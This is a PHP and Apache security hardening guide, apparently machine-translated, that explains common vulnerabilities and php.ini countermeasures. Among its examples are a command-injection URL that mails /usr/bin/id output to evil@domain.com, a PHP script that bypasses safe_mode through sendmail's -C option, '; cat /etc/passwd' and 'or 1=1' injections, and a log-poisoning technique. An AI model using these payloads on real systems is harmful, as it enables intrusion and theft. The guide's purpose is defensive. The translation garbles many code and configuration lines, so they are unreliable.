In fact, PHP is only a module function of the Web server, so the security of the Web server must be guaranteed first. Of course, if the Web server wants to be secure, it must first ensure the security of the system, which is far-fetched and endless. PHP can be combined with various Web servers, and only Apache is discussed here. It is strongly recommended to install and start Apache in chroot mode, so that even if there are loopholes in Apache, PHP and their scripts, only the imprisoned system will be affected and the actual system will not be harmed. However, after using Apache of chroot, it will also bring some troubles to the application. For example, when connecting mysql, you must use the tcp address of 127.0.0. 1 instead of using localhost to realize socket connection, which will be slightly inefficient. And the mail function to send mail is also a problem, because in php.ini:
[Mail function]
; Only for Win32.
SMTP = local host
; Only for Win32.
Send mail address = me@localhost.com.
They are all aimed at Win32 platform, so it is necessary to adjust sendmail in the chroot environment.
Second, the problem of PHP itself.
1, remote overflow
All versions below PHP-4. 1.2 have a file upload remote buffer overflow vulnerability, and the attacker has been widely circulated with a very high success rate:
/evil.php? bar =; /usr/bin/id | Mail evil@domain.com
This sends the result of the id execution to evil@domain.com.
For PHP from 4.0.6 to 4.2.2, breaking the safe_mode limit actually uses the -C parameter of sendmail, so the system must use sendmail. The following code can break through the limit of safe_mode to execute the command:
& lt?
# Note that the latter two must not exist, or their owners are the same as the owner of this script.
$ script = "/tmp/script 123 ";
$ cf = "/tmp/cf 123 ";
$fd = fopen($cf," w ");
fwrite(FD,“OQ/tmp
Sparse =0
R$*。 chr(9)。 ”$#local $@ $ 1 $: $ 1
Mlocal,P=/bin/sh,A = sh $ script ");
fclose($ FD);
$fd = fopen($script," w ");
fwrite($fd," RM-f $ script $ cf;" );
fwrite($fd,$ cmd);
fclose($ FD);
mail("nobody ","","","","-C $ cf ");
& gt
Users who are still using the above-mentioned problematic version of PHP must upgrade to the latest version in time, so as to eliminate the basic security problems.
Third, the security configuration of PHP itself
The configuration of PHP is very flexible. You can use php.ini, /bid/336 1.
When PHP-4. 1.0 was released, it was suggested to turn off register_globals, and seven special array variables were provided to use various variables. Variables from GET, POST, COOKIE, etc. Not directly registered as a variable, but must be accessed through an array variable. When PHP-4.2.0 is released, the default configuration of php.ini is register_globals = Off. This makes the program use the default value initialized by PHP itself, which is generally 0, and avoids the attacker from controlling the judgment variable.
Solution:
The configuration file php.ini sets register_globals = Off.
Programmers need to initialize a value for variables as a judgment at the beginning of the program.
Step 3 open the file
Vulnerable code fragment:
& lt?
//test_2.php
If (! ($ str = readfile(" $ filename ")){
Echo ("Unable to open file: $ filename & ltbr & gt \ n");
Quit;
}
Otherwise {
echo $ str
}
& gt
Since the attacker can specify any $filename, the attacker can see /etc/passwd through the following request:
/bid/4303
& lt?
//test_6.php
system("traceroute $a_query ",$ ret _ strs);
& gt
Because the program does not filter the $a_query variable, attackers can use semicolons to append commands.
An attacker can execute the cat /etc/passwd command by entering the following request:
; cat /etc/passwd
The command execution functions of PHP are system (), passthru (), popen () and ``. Command execution function is very dangerous, so use it with caution. If you want to use it, you must strictly check the user input.
Solution:
Programmers need to use the escapeshellcmd () function to filter shell commands entered by users.
Enabling safe_mode can eliminate many problems in executing commands, but it should be noted that the version of PHP must be the latest, and those smaller than PHP-4.2.2 may bypass the restriction of safe_mode to execute commands.
7. sql injection
If you don't handle variables, the following SQL statements will have problems:
Select * from login, where user=$user and pass=$pass.
An attacker can enter the username and password 1 or 1= 1 to bypass authentication.
Fortunately, PHP has a default option magic_quotes_gpc = On, which automatically adds the addslashes () operation to variables in GET, POST and COOKIE. The SQL statement above becomes:
Select * from login where user= 1\ or 1=\ 1, pass= 1\ or 1=\ 1
Thereby avoiding this sql_inject attack.
For fields of numeric type, many programmers will write like this:
Select * from test, where id=$id.
Because the variable is not expanded with single quotation marks, it will cause sql_inject attack. Thanks to the simple function of Mysql, there are no SQL statements to execute commands in databases such as sqlserver, and the mysql_query () function of PHP only allows one SQL statement to be executed, so the attack of separating multiple SQL statements with semicolons cannot work. But the attacker can at least make the query statement wrong, reveal some information of the system, or some unexpected situations.
Solution:
Programmers need to filter all variables submitted by users in order to put them into SQL statements.
Even for numeric fields, variables should be expanded in single quotation marks, and MySQL will process the string into numbers by itself.
In MySQL, users who don't give advanced permissions to PHP programs are only allowed to operate their own libraries, which also prevents the program from being attacked by SELECT INTO OUTFILE. ...
8. Warning and error messages
PHP displays all warning and error messages by default:
Error report = E _ ALL & amp~ electronic notification
display_errors = On
This is very useful when developing and debugging at ordinary times, and you can find the program error immediately according to the warning information.
In formal application, warnings and error messages confuse users, reveal the physical path of scripts to attackers, and provide favorable information for further attacks by attackers. And because I didn't visit the wrong place, I couldn't correct the program error in time. Therefore, it is very wise to record all the warnings and errors of PHP in a log file, that is, not to reveal the physical path to the attacker, but also to let yourself know where the program errors are.
Modify the section about error handling and logging in php.ini:
Error report = E_ALL
Display Error = Off
log_errors = On
error _ log =/usr/local/Apache/logs/PHP _ error . log
Then restart apache, noting that the file/usr/local/Apache/logs/PHP _ error.log must be writable by nobody users.
9. Disable _ function
If you feel that some functions are still threatening, you can set disable _ functions in php.ini (this option cannot be set in httpd.conf), such as:
disable_functions = phpinfo,get_cfg_var
You can specify multiple functions, separated by commas. After restarting apache, phpinfo, get_cfg_var functions are all banned. It is suggested to close the functions phpinfo and get _ CFG _ var, which are easy to disclose server information and have no practical use.
10, disable _ class
This option has only been available since PHP-4.3.2. If there are multiple class names separated by commas, it can disable some classes. Disable_classes cannot be set in httpd.conf, and can only be modified in the php.ini configuration file.
1 1、open_basedir
In the previous routine analysis, it was repeatedly mentioned that the script operation path was limited by open_basedir. Here, let's introduce its characteristics again. The restriction specified with open_basedir is actually a prefix, not a directory name. That is, "open_basedir = /dir/incl" will also allow access to "/dir/include" and "/dir/incl" if they exist. If you want to restrict access to the specified directory, end the path name with a slash. For example, "open_basedir = /dir/incl/".
You can set multiple directories. In Windows, directories are separated by semicolons. Separate directories with colons in any other system. As an Apache module, the open_basedir path in the parent directory is automatically inherited.
Four, other security configuration
1. Cancel the permission of other users to read and write common and important system commands.
In general, the administrator only needs an ordinary user and an administrative user for maintenance. Apart from these two users, other users should be able to execute and access as little as possible, so in the case of loopholes in programs or services, it will bring great confusion to attackers to cancel other users' read and write permissions for common and important system commands. Remember to remove the link permission, otherwise it can be executed in the way of /lib/ld-linux.so.2 /bin/ls under linux.
If you want to cancel a program, it is easier to implement if it is in the chroot environment, otherwise it is still challenging. Because canceling the execution authority of some programs will cause some services to run abnormally. The mail function of PHP needs /bin/sh to call sendmail to send messages, so the execution right of /bin/bash cannot be removed. This is a rather tiring job,
2. Delete the read permission of other users of apache log.
Apache's access log provides a convenient door for some programs with local inclusion vulnerabilities. By submitting a URL containing PHP code, you can make access-log contain PHP code, and then point the inclusion file to access-log to execute those PHP codes, thus gaining local access rights.
If there are other virtual hosts, the other users' reading rights to the log file should be deleted accordingly.
Of course, if you configure PHP as described above, it is generally impossible to read log files.